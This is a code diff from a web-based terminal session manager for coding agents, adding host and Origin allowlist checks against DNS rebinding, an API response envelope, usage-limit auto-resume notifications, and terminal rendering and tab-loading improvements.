for (const suffix of DEFAULT_TRUSTED_HOST_SUFFIXES) {
|
||||
if (hostname === suffix.slice(1) || hostname.endsWith(suffix)) return true;
|
||||
}
|
||||
for (const entry of policy.allowedHosts) {
|
||||
if (entry.startsWith('.')) {
|
||||
if (hostname === entry.slice(1) || hostname.endsWith(entry)) return true;
|
||||
} else if (hostname === entry) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* True if a request's Host header is allowed. Blocks DNS-rebinding: a custom
|
||||
* domain rebound to a loopback/LAN address still carries its own name in Host,
|
||||
* which will not be in the allowlist.
|
||||
*/
|
||||
export function isAllowedRequestHost(hostHeader: string | undefined, policy: HostPolicy): boolean {
|
||||
const hostname = parseAuthorityHostname(hostHeader);
|
||||
if (!hostname) return false;
|
||||
return matchesHost(hostname, policy);
|
||||
}
|
||||
|
||||
/**
|
||||
* True if a request's Origin is allowed for a state-changing / WebSocket request.
|
||||
* A MISSING Origin is allowed: non-browser clients (curl, Claude Code hooks) omit
|
||||
* it, while browsers always attach it on cross-origin state-changing/WS requests —
|
||||
* so a forged cross-site request is caught while local automation keeps working.
|
||||
* The opaque origin 'null' (sandboxed iframe, data: URL) is rejected.
|
||||
*/
|
||||
export function isAllowedRequestOrigin(originHeader: string | undefined, policy: HostPolicy): boolean {
|
||||
if (originHeader === undefined || originHeader === '') return true;
|
||||
if (originHeader === 'null') return false;
|
||||
try {
|
||||
return matchesHost(new URL(originHeader).hostname.toLowerCase(), policy);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -44,11 +44,20 @@ Object.assign(CodemanApp.prototype, {
|
||||
async _apiJson(path, opts = {}) {
|
||||
const res = await this._api(path, opts);
|
||||
if (!res || !res.ok) return null;
|
||||
let body;
|
||||
try {
|
||||
return await res.json();
|
||||
body = await res.json();
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
// Uniform API envelope (stable HTTP contract): unwrap { success:true, data } → data;
|
||||
// { success:false } → null (errors also surface as a non-ok HTTP status above).
|
||||
// Legacy/bare bodies pass through unchanged.
|
||||
if (body && typeof body === 'object') {
|
||||
if (body.success === false) return null;
|
||||
if (body.success === true && 'data' in body) return body.data;
|
||||
}
|
||||
return body;
|
||||
},
|
||||
|
||||
/**
|
||||
|
||||
+296
-45
@@ -153,6 +153,9 @@ const _SSE_HANDLER_MAP = [
|
||||
[SSE_EVENTS.SESSION_IDLE, '_onSessionIdle'],
|
||||
[SSE_EVENTS.SESSION_WORKING, '_onSessionWorking'],
|
||||
[SSE_EVENTS.SESSION_AUTO_CLEAR, '_onSessionAutoClear'],
|
||||
[SSE_EVENTS.SESSION_LIMIT_PAUSE_SCHEDULED, '_onSessionLimitPauseScheduled'],
|
||||
[SSE_EVENTS.SESSION_LIMIT_RESUME, '_onSessionLimitResume'],
|
||||
[SSE_EVENTS.SESSION_LIMIT_RESUME_CANCELLED, '_onSessionLimitResumeCancelled'],
|
||||
[SSE_EVENTS.SESSION_CLI_INFO, '_onSessionCliInfo'],
|
||||
|
||||
// Scheduled runs
|
||||
@@ -314,6 +317,7 @@ class CodemanApp {
|
||||
this._initGeneration = 0; // dedup concurrent handleInit calls
|
||||
this._initFallbackTimer = null; // fallback timer if SSE init doesn't arrive
|
||||
this._selectGeneration = 0; // cancel stale selectSession loads
|
||||
this.terminalLoadStates = new Map(); // Map<sessionId, { generation, phase }>
|
||||
this.respawnStatus = {};
|
||||
this.respawnTimers = {}; // Track timed respawn timers
|
||||
this.respawnCountdownTimers = {}; // { sessionId: { timerName: { endsAt, totalMs, reason } } }
|
||||
@@ -416,6 +420,8 @@ class CodemanApp {
|
||||
this.syncWaitTimeout = null; // Timeout for incomplete sync blocks
|
||||
this._isLoadingBuffer = false; // true during chunkedTerminalWrite — blocks live SSE writes
|
||||
this._loadBufferQueue = null; // queued SSE events during buffer load
|
||||
this._bufferLoadSeq = 0;
|
||||
this._bufferLoadOwner = null;
|
||||
|
||||
// Flicker filter state (buffers output after screen clears)
|
||||
this.flickerFilterBuffer = '';
|
||||
@@ -486,7 +492,7 @@ class CodemanApp {
|
||||
// If stale, cleans up buffer-loading state and returns true.
|
||||
_isStaleSelect(selectGen) {
|
||||
if (selectGen !== this._selectGeneration) {
|
||||
if (this._isLoadingBuffer) this._finishBufferLoad();
|
||||
if (this._isLoadingBuffer) this._finishBufferLoad(selectGen);
|
||||
this._restoringFlushedState = false;
|
||||
return true;
|
||||
}
|
||||
@@ -597,7 +603,7 @@ class CodemanApp {
|
||||
// Fetch tunnel status for header indicator (desktop only)
|
||||
this.loadTunnelStatus();
|
||||
// Share a single settings fetch between both consumers
|
||||
const settingsPromise = fetch('/api/settings').then(r => r.ok ? r.json() : null).catch(() => null);
|
||||
const settingsPromise = fetch('/api/settings').then(r => r.ok ? r.json() : null).then(env => env?.data ?? null).catch(() => null);
|
||||
this.loadQuickStartCases(null, settingsPromise);
|
||||
this._initRunMode();
|
||||
this.setupEventListeners();
|
||||
@@ -649,6 +655,7 @@ class CodemanApp {
|
||||
this._disposeWebGLObserver();
|
||||
this._webglAddon?.dispose();
|
||||
this._webglAddon = null;
|
||||
this._scheduleTerminalRepaint();
|
||||
});
|
||||
this.terminal.loadAddon(this._webglAddon);
|
||||
console.log('[CRASH-DIAG] WebGL renderer enabled');
|
||||
@@ -679,7 +686,7 @@ class CodemanApp {
|
||||
this._disposeWebGLObserver();
|
||||
this._webglAddon?.dispose();
|
||||
this._webglAddon = null;
|
||||
try { this.terminal.refresh(0, this.terminal.rows - 1); } catch {}
|
||||
this._scheduleTerminalRepaint();
|
||||
}
|
||||
});
|
||||
this._webglLongTaskObserver.observe({ type: 'longtask', buffered: false });
|
||||
@@ -698,6 +705,22 @@ class CodemanApp {
|
||||
this._webglLongTaskObserver = null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Repaint the full terminal viewport after a renderer swap (WebGL → canvas/DOM).
|
||||
* Scheduled on the next frame so it lands after the addon teardown settles, and
|
||||
* debounced so the context-loss and long-task fallback paths can't double-fire.
|
||||
* No-ops safely if the terminal isn't ready.
|
||||
*/
|
||||
_scheduleTerminalRepaint() {
|
||||
if (this._terminalRepaintScheduled) return;
|
||||
this._terminalRepaintScheduled = true;
|
||||
const raf = typeof requestAnimationFrame === 'function' ? requestAnimationFrame : (cb) => setTimeout(cb, 0);
|
||||
raf(() => {
|
||||
this._terminalRepaintScheduled = false;
|
||||
try { this.terminal?.refresh(0, this.terminal.rows - 1); } catch {}
|
||||
});
|
||||
}
|
||||
|
||||
_disableWebGLSticky(reason) {
|
||||
try {
|
||||
localStorage.setItem('codeman-webgl-disabled', JSON.stringify({ reason, at: Date.now() }));
|
||||
@@ -1531,13 +1554,13 @@ class CodemanApp {
|
||||
try {
|
||||
// Source 1: Transcript JSONL (best quality — clean structured text from Claude)
|
||||
const res = await fetch(`/api/sessions/${this.activeSessionId}/last-response`);
|
||||
const data = await res.json();
|
||||
const data = (await res.json())?.data ?? {};
|
||||
let lastResponse = data.text || '';
|
||||
|
||||
// Source 2: Terminal buffer fallback — strip ANSI, drop Claude CLI chrome
|
||||
if (!lastResponse) {
|
||||
const termRes = await fetch(`/api/sessions/${this.activeSessionId}/terminal`);
|
||||
const termData = await termRes.json();
|
||||
const termData = (await termRes.json())?.data ?? {};
|
||||
if (termData.terminalBuffer) {
|
||||
lastResponse = this._cleanTerminalBuffer(termData.terminalBuffer);
|
||||
}
|
||||
@@ -1567,7 +1590,7 @@ class CodemanApp {
|
||||
if (moreBtn) moreBtn.textContent = '...';
|
||||
try {
|
||||
const res = await fetch(`/api/sessions/${this.activeSessionId}/last-response?context=full`);
|
||||
const data = await res.json();
|
||||
const data = (await res.json())?.data ?? {};
|
||||
const messages = data.messages || [];
|
||||
const body = document.getElementById('responseViewerBody');
|
||||
const title = document.getElementById('responseViewerTitle');
|
||||
@@ -1618,7 +1641,7 @@ class CodemanApp {
|
||||
if (this._isLoadingBuffer) return;
|
||||
try {
|
||||
const res = await fetch(`/api/sessions/${this.activeSessionId}/terminal?tail=${TERMINAL_TAIL_SIZE}`);
|
||||
const data = await res.json();
|
||||
const data = (await res.json())?.data ?? {};
|
||||
if (data.terminalBuffer) {
|
||||
this.terminal.clear();
|
||||
this.terminal.reset();
|
||||
@@ -1648,7 +1671,7 @@ class CodemanApp {
|
||||
// Fetch buffer, clear terminal, write buffer, resize (no Ctrl+L needed)
|
||||
try {
|
||||
const res = await fetch(`/api/sessions/${data.id}/terminal`);
|
||||
const termData = await res.json();
|
||||
const termData = (await res.json())?.data ?? {};
|
||||
|
||||
this.terminal.clear();
|
||||
this.terminal.reset();
|
||||
@@ -1747,6 +1770,33 @@ class CodemanApp {
|
||||
this._notifySession(data.sessionId, 'info', 'auto-clear', 'Auto-Cleared', `Context reset at ${(data.tokens || 0).toLocaleString()} tokens`);
|
||||
}
|
||||
|
||||
_onSessionLimitPauseScheduled(data) {
|
||||
const session = this.sessions.get(data.sessionId);
|
||||
if (session) session.autoResumeAt = data.resumeAt;
|
||||
const at = new Date(data.resumeAt).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' });
|
||||
if (data.sessionId === this.activeSessionId) {
|
||||
this.showToast(`Usage limit reached — auto-resume at ${at}`, 'warning');
|
||||
}
|
||||
this._notifySession(data.sessionId, 'warning', 'limit-pause', 'Usage Limit Reached', `Auto-resume scheduled for ${at}`);
|
||||
this.updateAutoResumeStatus(data.sessionId);
|
||||
}
|
||||
|
||||
_onSessionLimitResume(data) {
|
||||
const session = this.sessions.get(data.sessionId);
|
||||
if (session) session.autoResumeAt = undefined;
|
||||
if (data.sessionId === this.activeSessionId) {
|
||||
this.showToast('Usage limit reset — work resumed automatically', 'success');
|
||||
}
|
||||
this._notifySession(data.sessionId, 'info', 'limit-resume', 'Auto-Resumed', 'Usage limit reset — continuing work');
|
||||
this.updateAutoResumeStatus(data.sessionId);
|
||||
}
|
||||
|
||||
_onSessionLimitResumeCancelled(data) {
|
||||
const session = this.sessions.get(data.sessionId);
|
||||
if (session) session.autoResumeAt = undefined;
|
||||
this.updateAutoResumeStatus(data.sessionId);
|
||||
}
|
||||
|
||||
_onSessionCliInfo(data) {
|
||||
const session = this.sessions.get(data.sessionId);
|
||||
if (session) {
|
||||
@@ -1817,6 +1867,12 @@ class CodemanApp {
|
||||
if (this._ws === ws) {
|
||||
this._wsReady = true;
|
||||
this._wsReconnectAttempts = 0;
|
||||
// Send a typed resize over the fresh socket: syncs PTY dims after
|
||||
// (re)connects AND registers the desktop sizing claim server-side —
|
||||
// selectSession's earlier resizes ran before this WS existed, so they
|
||||
// went over HTTP, which never claims (see ws-routes sizingToken).
|
||||
this.sendResize(sessionId)?.catch?.(() => {});
|
||||
this._startMobileResizeRetry(sessionId);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -1842,6 +1898,7 @@ class CodemanApp {
|
||||
this._ws = null;
|
||||
this._wsSessionId = null;
|
||||
this._wsReady = false;
|
||||
this._stopMobileResizeRetry();
|
||||
|
||||
// Reconnect on unexpected close (server restart, network blip, ping timeout).
|
||||
// Don't reconnect if we intentionally disconnected (_disconnectWs nulls onclose)
|
||||
@@ -1867,6 +1924,7 @@ class CodemanApp {
|
||||
_disconnectWs() {
|
||||
this._clearTimer('_wsReconnectTimer');
|
||||
this._wsReconnectAttempts = 0;
|
||||
this._stopMobileResizeRetry();
|
||||
if (this._ws) {
|
||||
this._ws.onclose = null; // Prevent re-entrant cleanup
|
||||
this._ws.close();
|
||||
@@ -1876,6 +1934,41 @@ class CodemanApp {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Small-viewport claim-idle retry. While a desktop sizing claim is "hot",
|
||||
* the server ignores this device's resize (Session.DESKTOP_CLAIM_IDLE_MS),
|
||||
* and the single resize sent on attach is deduped client-side — without a
|
||||
* retry, a phone that attached under an active desktop would render a
|
||||
* desktop-width stream forever. Re-send the current dims periodically (a
|
||||
* server-side no-op once the pane already matches) so the pane reflows to
|
||||
* this device shortly after the desktop goes idle. Visible-tab only: a
|
||||
* phone in a pocket must not steal the pane from an active desktop.
|
||||
*/
|
||||
_startMobileResizeRetry(sessionId) {
|
||||
this._stopMobileResizeRetry();
|
||||
const type =
|
||||
typeof MobileDetection !== 'undefined' && MobileDetection.getDeviceType
|
||||
? MobileDetection.getDeviceType()
|
||||
: 'desktop';
|
||||
if (type === 'desktop') return;
|
||||
this._mobileResizeRetryTimer = setInterval(() => {
|
||||
if (document.visibilityState !== 'visible') return;
|
||||
if (!this._wsReady || this._wsSessionId !== sessionId) return;
|
||||
// Same guard as throttledResize: while the virtual keyboard is up, a
|
||||
// fit()+SIGWINCH at the shrunken row count makes Ink re-render garbage
|
||||
// and shifts the accessory toolbar mid-typing. Retry after it closes.
|
||||
if (typeof KeyboardHandler !== 'undefined' && KeyboardHandler.keyboardVisible) return;
|
||||
this.sendResize(sessionId)?.catch?.(() => {});
|
||||
}, MOBILE_RESIZE_RETRY_MS);
|
||||
}
|
||||
|
||||
_stopMobileResizeRetry() {
|
||||
if (this._mobileResizeRetryTimer) {
|
||||
clearInterval(this._mobileResizeRetryTimer);
|
||||
this._mobileResizeRetryTimer = null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send input to server without blocking the keystroke flush cycle.
|
||||
* Uses a sequential promise chain to preserve character ordering
|
||||
@@ -2006,9 +2099,18 @@ class CodemanApp {
|
||||
const cjkEl = document.getElementById('cjkInput');
|
||||
if (!cjkEl) return;
|
||||
const settings = this.loadAppSettingsFromStorage();
|
||||
const showCjk = this._serverCjkOverride || settings.cjkInputEnabled || false;
|
||||
const defaults = this.getDefaultSettings?.() || {};
|
||||
// Mobile defaults ship cjkInputEnabled: false (native terminal input by
|
||||
// default on touch), but an explicit user enable is honored everywhere —
|
||||
// the App Settings toggle must not be a silent no-op on phones.
|
||||
const showCjk = this._serverCjkOverride || (settings.cjkInputEnabled ?? defaults.cjkInputEnabled ?? false);
|
||||
cjkEl.classList.toggle('cjk-input-visible', !!showCjk);
|
||||
document.body.classList.toggle('cjk-input-visible', !!showCjk);
|
||||
cjkEl.style.display = showCjk ? 'block' : 'none';
|
||||
cjkEl.setAttribute('aria-hidden', showCjk ? 'false' : 'true');
|
||||
if (showCjk && cjkEl.value === '\u200B') cjkEl.value = '';
|
||||
if (!showCjk) window.cjkActive = false;
|
||||
if (typeof KeyboardHandler !== 'undefined') KeyboardHandler.updateLayoutForKeyboard();
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -2039,6 +2141,7 @@ class CodemanApp {
|
||||
this.writeFrameScheduled = false;
|
||||
this._isLoadingBuffer = false;
|
||||
this._loadBufferQueue = null;
|
||||
this._bufferLoadOwner = null;
|
||||
// Abort any in-flight chunkedTerminalWrite (SSE reconnect reloads buffers)
|
||||
this._chunkedWriteGen = (this._chunkedWriteGen || 0) + 1;
|
||||
// Preserve local echo overlay text across SSE reconnect — just hide until
|
||||
@@ -2254,7 +2357,7 @@ class CodemanApp {
|
||||
try {
|
||||
const res = await fetch('/api/status');
|
||||
const data = await res.json();
|
||||
this.handleInit(data);
|
||||
this.handleInit(data?.data ?? {});
|
||||
} catch (err) {
|
||||
console.error('Failed to load state:', err);
|
||||
}
|
||||
@@ -2281,7 +2384,7 @@ class CodemanApp {
|
||||
|
||||
renderSessionTabs() {
|
||||
// Don't re-render while user is typing in the inline rename input
|
||||
if (this._activeRename) return;
|
||||
if (this._inlineRenameActive) return;
|
||||
this._debouncedCall('sessionTabs', this._renderSessionTabsImmediate);
|
||||
}
|
||||
|
||||
@@ -2299,6 +2402,45 @@ class CodemanApp {
|
||||
}
|
||||
}
|
||||
|
||||
_setTerminalLoadState(sessionId, selectGen, phase) {
|
||||
this.terminalLoadStates.set(sessionId, { generation: selectGen, phase });
|
||||
this._updateTerminalLoadTab(sessionId);
|
||||
}
|
||||
|
||||
_clearTerminalLoadState(sessionId, selectGen) {
|
||||
const state = this.terminalLoadStates.get(sessionId);
|
||||
if (state && state.generation !== selectGen) return;
|
||||
this.terminalLoadStates.delete(sessionId);
|
||||
this._updateTerminalLoadTab(sessionId);
|
||||
}
|
||||
|
||||
_updateTerminalLoadTab(sessionId) {
|
||||
const tab = this.$('sessionTabs')?.querySelector(`.session-tab[data-id="${sessionId}"]`);
|
||||
if (!tab) return;
|
||||
|
||||
const loadState = this.terminalLoadStates.get(sessionId);
|
||||
tab.classList.toggle('tab-loading', !!loadState);
|
||||
if (loadState) {
|
||||
tab.setAttribute('aria-busy', 'true');
|
||||
tab.dataset.loadPhase = loadState.phase;
|
||||
if (!tab.querySelector('.tab-load-spinner')) {
|
||||
const spinner = document.createElement('span');
|
||||
spinner.className = 'tab-load-spinner';
|
||||
spinner.setAttribute('aria-hidden', 'true');
|
||||
const numberEl = tab.querySelector('.tab-number');
|
||||
if (numberEl) {
|
||||
numberEl.insertAdjacentElement('afterend', spinner);
|
||||
} else {
|
||||
tab.insertBefore(spinner, tab.firstChild);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
tab.setAttribute('aria-busy', 'false');
|
||||
delete tab.dataset.loadPhase;
|
||||
tab.querySelector('.tab-load-spinner')?.remove();
|
||||
}
|
||||
}
|
||||
|
||||
_renderSessionTabsImmediate() {
|
||||
const container = this.$('sessionTabs');
|
||||
const existingTabs = container.querySelectorAll('.session-tab[data-id]');
|
||||
@@ -2320,6 +2462,7 @@ class CodemanApp {
|
||||
const name = this.getSessionName(session);
|
||||
const taskStats = session.taskStats || { running: 0, total: 0 };
|
||||
const hasRunningTasks = taskStats.running > 0;
|
||||
const loadState = this.terminalLoadStates.get(id);
|
||||
|
||||
// Update active class
|
||||
if (isActive && !tab.classList.contains('active')) {
|
||||
@@ -2328,6 +2471,27 @@ class CodemanApp {
|
||||
tab.classList.remove('active');
|
||||
}
|
||||
|
||||
tab.classList.toggle('tab-loading', !!loadState);
|
||||
if (loadState) {
|
||||
tab.setAttribute('aria-busy', 'true');
|
||||
tab.dataset.loadPhase = loadState.phase;
|
||||
if (!tab.querySelector('.tab-load-spinner')) {
|
||||
const spinner = document.createElement('span');
|
||||
spinner.className = 'tab-load-spinner';
|
||||
spinner.setAttribute('aria-hidden', 'true');
|
||||
const numberEl = tab.querySelector('.tab-number');
|
||||
if (numberEl) {
|
||||
numberEl.insertAdjacentElement('afterend', spinner);
|
||||
} else {
|
||||
tab.insertBefore(spinner, tab.firstChild);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
tab.setAttribute('aria-busy', 'false');
|
||||
delete tab.dataset.loadPhase;
|
||||
tab.querySelector('.tab-load-spinner')?.remove();
|
||||
}
|
||||
|
||||
// Update alert class
|
||||
const alertType = this.tabAlerts.get(id);
|
||||
const wantAction = alertType === 'action';
|
||||
@@ -2426,7 +2590,7 @@ class CodemanApp {
|
||||
}
|
||||
|
||||
_fullRenderSessionTabs() {
|
||||
if (this._activeRename) return;
|
||||
if (this._inlineRenameActive) return;
|
||||
const container = this.$('sessionTabs');
|
||||
|
||||
// Clean up any orphaned dropdowns before re-rendering
|
||||
@@ -2456,6 +2620,7 @@ class CodemanApp {
|
||||
const hasRunningTasks = taskStats.running > 0;
|
||||
const alertType = this.tabAlerts.get(id);
|
||||
const alertClass = alertType === 'action' ? ' tab-alert-action' : alertType === 'idle' ? ' tab-alert-idle' : '';
|
||||
const loadState = this.terminalLoadStates.get(id);
|
||||
|
||||
// Get minimized subagents for this session
|
||||
const minimizedAgents = this.minimizedSubagents.get(id);
|
||||
@@ -2467,12 +2632,13 @@ class CodemanApp {
|
||||
const tallTabsEnabled = this._tallTabsEnabled ?? false;
|
||||
const showFolder = tallTabsEnabled && session.name && folderName && folderName !== name;
|
||||
|
||||
parts.push(`<div class="session-tab ${isActive ? 'active' : ''}${alertClass}${this.detachedSessions.has(id) ? ' detached' : ''}" data-id="${id}" data-color="${color}" onclick="app.selectSession('${escapeHtml(id)}')" oncontextmenu="event.preventDefault(); app.startInlineRename('${escapeHtml(id)}')" tabindex="0" role="tab" aria-selected="${isActive ? 'true' : 'false'}" aria-label="${escapeHtml(name)} session" ${session.workingDir ? `title="${escapeHtml(session.workingDir)}"` : ''}>
|
||||
parts.push(`<div class="session-tab ${isActive ? 'active' : ''}${alertClass}${loadState ? ' tab-loading' : ''}" data-id="${id}" data-color="${color}" ${loadState ? `data-load-phase="${escapeHtml(loadState.phase)}"` : ''} onclick="app.handleSessionTabClick(event, '${escapeHtml(id)}')" oncontextmenu="event.preventDefault(); app.startInlineRename('${escapeHtml(id)}')" tabindex="0" role="tab" aria-selected="${isActive ? 'true' : 'false'}" aria-busy="${loadState ? 'true' : 'false'}" aria-label="${escapeHtml(name)} session" ${session.workingDir ? `title="${escapeHtml(session.workingDir)}"` : ''}>
|
||||
${_tabIdx < 9 ? '<span class="tab-number">' + (_tabIdx + 1) + '</span>' : ''}
|
||||
${loadState ? '<span class="tab-load-spinner" aria-hidden="true"></span>' : ''}
|
||||
<span class="tab-status ${status}" aria-hidden="true"></span>
|
||||
<span class="tab-info">
|
||||
<span class="tab-name-row">
|
||||
${mode === 'shell' ? '<span class="tab-mode shell" aria-hidden="true">sh</span>' : mode === 'opencode' ? '<span class="tab-mode opencode" aria-hidden="true">oc</span>' : ''}
|
||||
${mode === 'shell' ? '<span class="tab-mode shell" aria-hidden="true">sh</span>' : mode === 'opencode' ? '<span class="tab-mode opencode" aria-hidden="true">oc</span>' : mode === 'codex' ? '<span class="tab-mode codex" aria-hidden="true">cx</span>' : ''}
|
||||
<span class="tab-name" data-session-id="${id}">${(() => { const p = parseSessionPrefix(name); return p && p.suffix ? '<span class="tab-prefix">' + escapeHtml(p.prefix) + '</span><span class="tab-suffix">: ' + escapeHtml(p.suffix) + '</span>' : escapeHtml(name); })()}</span>
|
||||
<span class="tab-detached-badge" aria-hidden="true">detached</span>
|
||||
</span>
|
||||
@@ -2516,7 +2682,7 @@ class CodemanApp {
|
||||
if ((e.key === 'Enter' || e.key === ' ') && currentIndex >= 0) {
|
||||
e.preventDefault();
|
||||
const sessionId = tabs[currentIndex].dataset.id;
|
||||
this.selectSession(sessionId);
|
||||
this.selectSession(sessionId, { forceReload: true });
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -2547,6 +2713,18 @@ class CodemanApp {
|
||||
container.addEventListener('keydown', this._tabKeydownHandler);
|
||||
}
|
||||
|
||||
handleSessionTabClick(event, sessionId) {
|
||||
event?.preventDefault?.();
|
||||
// On touch with the keyboard hidden, blur the tapped tab so switching
|
||||
// sessions doesn't pop the on-screen keyboard. Focus policy itself lives
|
||||
// in selectSession via _shouldFocusTerminalForTabSwitch().
|
||||
const keyboardOpen = typeof KeyboardHandler !== 'undefined' && KeyboardHandler.keyboardVisible === true;
|
||||
if (!keyboardOpen && MobileDetection.isTouchDevice()) {
|
||||
document.activeElement?.blur?.();
|
||||
}
|
||||
return this.selectSession(sessionId, { forceReload: true });
|
||||
}
|
||||
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════
|
||||
// Tab Order and Drag-and-Drop
|
||||
@@ -2761,6 +2939,7 @@ class CodemanApp {
|
||||
this.writeFrameScheduled = false;
|
||||
this._isLoadingBuffer = false;
|
||||
this._loadBufferQueue = null;
|
||||
this._bufferLoadOwner = null;
|
||||
// Abort any in-flight chunkedTerminalWrite from the previous session.
|
||||
// Without this, old rAF-scheduled chunks continue writing stale data
|
||||
// into the terminal, interleaving with the new session's buffer.
|
||||
@@ -2811,20 +2990,46 @@ class CodemanApp {
|
||||
}
|
||||
}
|
||||
|
||||
async selectSession(sessionId) {
|
||||
_resetTerminalForReplay() {
|
||||
this.terminal.reset();
|
||||
this.terminal.write('\x1b[3J\x1b[H\x1b[2J');
|
||||
}
|
||||
|
||||
_shouldFocusTerminalForTabSwitch() {
|
||||
if (typeof MobileDetection === 'undefined' || !MobileDetection.isTouchDevice()) {
|
||||
return true;
|
||||
}
|
||||
return typeof KeyboardHandler !== 'undefined' && KeyboardHandler.keyboardVisible;
|
||||
}
|
||||
|
||||
async selectSession(sessionId, options = {}) {
|
||||
// If this session is popped out into its own window, raise that window
|
||||
// instead of showing it inline (focus-on-click for detached tabs).
|
||||
// instead of showing it inline (focus-on-click for detached tabs). If we
|
||||
// owned a now-closed window, _raiseDetached re-docks and returns false so
|
||||
// we fall through and load it inline.
|
||||
if (!this.isSoloWindow && this.detachedSessions.has(sessionId)) {
|
||||
// Raise the popup instead of showing inline. If we owned a now-closed
|
||||
// window, _raiseDetached re-docks and returns false so we fall through.
|
||||
if (this._raiseDetached(sessionId)) return;
|
||||
}
|
||||
if (this.activeSessionId === sessionId) return;
|
||||
const forceReload = options?.forceReload === true;
|
||||
if (this.activeSessionId === sessionId && !forceReload) return;
|
||||
if (this.activeSessionId === sessionId && forceReload) {
|
||||
this.terminalBufferCache?.delete(sessionId);
|
||||
this._clearTimer('syncWaitTimeout');
|
||||
this.pendingWrites = [];
|
||||
this.writeFrameScheduled = false;
|
||||
this._isLoadingBuffer = false;
|
||||
this._loadBufferQueue = null;
|
||||
this._chunkedWriteGen = (this._chunkedWriteGen || 0) + 1;
|
||||
this.activeSessionId = null;
|
||||
}
|
||||
// Focus terminal SYNCHRONOUSLY before any await — iOS Safari only honors
|
||||
// programmatic focus() within the user-gesture call stack (e.g. tab click).
|
||||
// After the first await the gesture context is lost and focus() is silently
|
||||
// ignored, leaving the keyboard unable to send input to the terminal.
|
||||
if (this.terminal) this.terminal.focus();
|
||||
// Desktop always focuses; touch focuses only while the on-screen keyboard
|
||||
// is already open (so a tab switch doesn't pop the keyboard).
|
||||
const shouldFocusTerminal = this._shouldFocusTerminalForTabSwitch();
|
||||
if (shouldFocusTerminal && this.terminal) this.terminal.focus();
|
||||
|
||||
const _selStart = performance.now();
|
||||
const _selName = this.sessions.get(sessionId)?.name || sessionId.slice(0,8);
|
||||
@@ -2832,8 +3037,12 @@ class CodemanApp {
|
||||
console.log(`[CRASH-DIAG] selectSession START: ${sessionId.slice(0,8)}`);
|
||||
|
||||
const selectGen = ++this._selectGeneration;
|
||||
this._setTerminalLoadState(sessionId, selectGen, 'resizing');
|
||||
|
||||
if (selectGen !== this._selectGeneration) return; // newer tab switch won
|
||||
if (selectGen !== this._selectGeneration) {
|
||||
this._clearTerminalLoadState(sessionId, selectGen);
|
||||
return; // newer tab switch won
|
||||
}
|
||||
|
||||
this._cleanupPreviousSession(sessionId);
|
||||
this.activeSessionId = sessionId;
|
||||
@@ -2905,58 +3114,95 @@ class CodemanApp {
|
||||
// Without this, SSE events arriving during the fetch() gap compete with
|
||||
// the buffer write, causing 70KB+ single-frame flushes that stall WebGL.
|
||||
// chunkedTerminalWrite also sets this, but we need it before the fetch too.
|
||||
this._isLoadingBuffer = true;
|
||||
this._loadBufferQueue = [];
|
||||
const bufferLoadOwner = this._beginBufferLoad(selectGen);
|
||||
try {
|
||||
// Fit terminal to container BEFORE writing any buffer data.
|
||||
// If the browser was resized while viewing another session, the terminal
|
||||
// canvas may be at stale dimensions — content would render at wrong width.
|
||||
if (this.fitAddon) this.fitAddon.fit();
|
||||
|
||||
// Also push the new dimensions to the PTY. Without this, codex/codeman
|
||||
// sees the size that was set the last time the throttled resize handler
|
||||
// fired (often the size of a different session's container, or the
|
||||
// initial tmux default). The visible symptom is codex rendering inside
|
||||
// a small region with empty rows below the status bar.
|
||||
// sendResize is a no-op on the server when dims haven't changed, so
|
||||
// calling it every tab switch is cheap.
|
||||
const dimsChanged = await this.sendResize(sessionId, { forceHttp: true }).catch(() => false);
|
||||
if (this._isStaleSelect(selectGen)) {
|
||||
this._clearTerminalLoadState(sessionId, selectGen);
|
||||
return;
|
||||
}
|
||||
|
||||
const sessionIsBusy = session && (session.status === 'busy' || session.status === 'working');
|
||||
|
||||
// Instant cache restore for IDLE sessions only.
|
||||
// For busy sessions, the cache is always stale — writing it first causes a
|
||||
// jarring double-render: stale content appears, then the terminal flashes
|
||||
// blank and rewrites with fresh data. Skip the cache and write the fresh
|
||||
// buffer once for a single clean transition.
|
||||
const cachedBuffer = this.terminalBufferCache.get(sessionId);
|
||||
const sessionIsBusy = session && (session.status === 'busy' || session.status === 'working');
|
||||
if (cachedBuffer && !sessionIsBusy) {
|
||||
_crashDiag.log(`CACHE_WRITE: ${(cachedBuffer.length/1024).toFixed(0)}KB`);
|
||||
this.terminal.clear();
|
||||
this.terminal.reset();
|
||||
await this.chunkedTerminalWrite(cachedBuffer);
|
||||
if (this._isStaleSelect(selectGen)) return;
|
||||
this._setTerminalLoadState(sessionId, selectGen, 'replaying');
|
||||
this._resetTerminalForReplay();
|
||||
await this.chunkedTerminalWrite(cachedBuffer, TERMINAL_CHUNK_SIZE, bufferLoadOwner);
|
||||
if (this._isStaleSelect(selectGen)) {
|
||||
this._clearTerminalLoadState(sessionId, selectGen);
|
||||
return;
|
||||
}
|
||||
this.terminal.scrollToBottom();
|
||||
_crashDiag.log('CACHE_DONE');
|
||||
} else if (sessionIsBusy) {
|
||||
// Clear stale content immediately — fresh buffer is being fetched
|
||||
this.terminal.clear();
|
||||
this.terminal.reset();
|
||||
this._resetTerminalForReplay();
|
||||
_crashDiag.log('CACHE_SKIP_BUSY');
|
||||
}
|
||||
|
||||
// Give TUI sessions a short chance to redraw after resize before the
|
||||
// fresh buffer fetch. Only needed when the resize actually changed
|
||||
// dimensions (a real SIGWINCH → Ink redraw); a same-size tab switch sent
|
||||
// no resize, so waiting would just add latency. Shell sessions never need
|
||||
// it, so terminal content can appear immediately when switching shells.
|
||||
if (session?.mode !== 'shell' && dimsChanged) {
|
||||
await new Promise((resolve) => setTimeout(resolve, TUI_REDRAW_SETTLE_MS));
|
||||
if (this._isStaleSelect(selectGen)) {
|
||||
